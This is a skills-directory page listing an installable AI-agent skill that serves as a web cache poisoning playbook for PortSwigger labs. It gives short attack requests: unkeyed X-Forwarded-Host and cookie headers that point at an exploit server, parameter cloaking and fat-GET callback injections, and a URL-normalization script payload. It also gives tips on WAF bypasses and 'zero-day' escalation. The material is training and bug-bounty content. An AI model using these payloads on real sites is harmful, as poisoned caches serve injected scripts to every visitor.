Skip to content
Back to skills

Web Cache Poisoning

ASecurity

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

  • 22 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added September 12, 2026
ai-agentspythongosqlgitbackendsecurity

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned September 12, 2026

npx -y skills add ShulkwiSEC/bb-huge --skill web-cache-poisoning --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Web Cache Poisoning?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Web Cache Poisoning
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/shulkwisec-web-cache-poisoning/badge)](https://www.skillsdirectory.com/skills/shulkwisec-web-cache-poisoning)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: "Web Cache Poisoning — Complete Deep Dive"
description: "Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques"
domain: cybersecurity
subdomain: bug-hunting
version: "1.0.0"
category: "bug-hunting/deep-dive-labs"
tags: [portswigger, deep-dive, exploitation, zero-day, lab-solutions]
mitre_attack: ["T1557"]
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
difficulty: "advanced"
---

# Web Cache Poisoning — Complete Deep Dive

> **Deep-Dive Lab Playbook** — Every PortSwigger lab variant with exact payloads,
> bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

## When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques

## Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured


## Workflow
### Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
### Phase 2: Exploitation
- Apply standard lab payloads.
### Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.

## Lab Playbooks

### Lab 1: Unkeyed header 🟡 PRACTITIONER
```http
GET / HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER
```
Cache stores response with your malicious host in script/link tags.
---

### Lab 2: Unkeyed cookie 🟡 PRACTITIONER
```http
GET / HTTP/1.1
Cookie: fehost=EXPLOIT-SERVER"
```
---

### Lab 3: Multiple headers 🟡 PRACTITIONER
Combine `X-Forwarded-Host` + `X-Forwarded-Scheme: http` to force redirect to your server.
---

### Lab 4: Unknown header 🟡 PRACTITIONER
Use Param Miner to discover: `X-Host`, `X-Forwarded-Server`, etc.
---

### Lab 5: Unkeyed query string 🟡 PRACTITIONER
Query string excluded from cache key → add XSS in query, all users get poisoned response.
---

### Lab 6: Unkeyed query parameter 🟡 PRACTITIONER
Specific parameter excluded from cache key (e.g., `utm_content`). Inject XSS there.
---

### Lab 7: Parameter cloaking 🟡 PRACTITIONER
```
/js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)
```
Backend parser sees second `callback`, cache key only includes first.
---

### Lab 8: Fat GET request 🟡 PRACTITIONER
```http
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Content-Length: 30

callback=alert(1)
```
GET with body — backend reads body param, cache uses URL param as key.
---

### Lab 9: URL normalization 🟡 PRACTITIONER
`/random</p><script>alert(1)</script><p>foo` — browser URL-encodes, cache doesn't → poisoned.
---

### Lab 10: DOM vuln via strict cache 🟡 PRACTITIONER
Find DOM XSS sink, poison cache to inject payload via unkeyed header/param.
---

### Lab 11: Combining vulnerabilities 🔴 EXPERT
Chain multiple unkeyed inputs together for exploitation.
---

### Lab 12: Cache key injection 🔴 EXPERT
Inject cache-key delimiter characters to control what gets cached.
---

### Lab 13: Internal cache poisoning 🔴 EXPERT
Target application-level cache (not CDN). Fragment-based caching reuses cached fragments across pages.
---


## Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.

## Zero-Day Research
When standard technique fails:
1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex


## Key Concepts
| Concept | Description |
|---------|-------------|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |


## Output Format
```
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
```

## 🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.

## 🛡️ Remediation & Mitigation Strategy
- **Input Validation:** Sanitize and strictly type-check all inputs.
- **Least Privilege:** Constrain component execution bounds.


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- [PortSwigger Labs](https://portswigger.net/web-security/all-labs)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- [HackTricks](https://book.hacktricks.xyz/)

Files in this skill

  • SKILL.md5 KB
  • scripts/process.py7.8 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…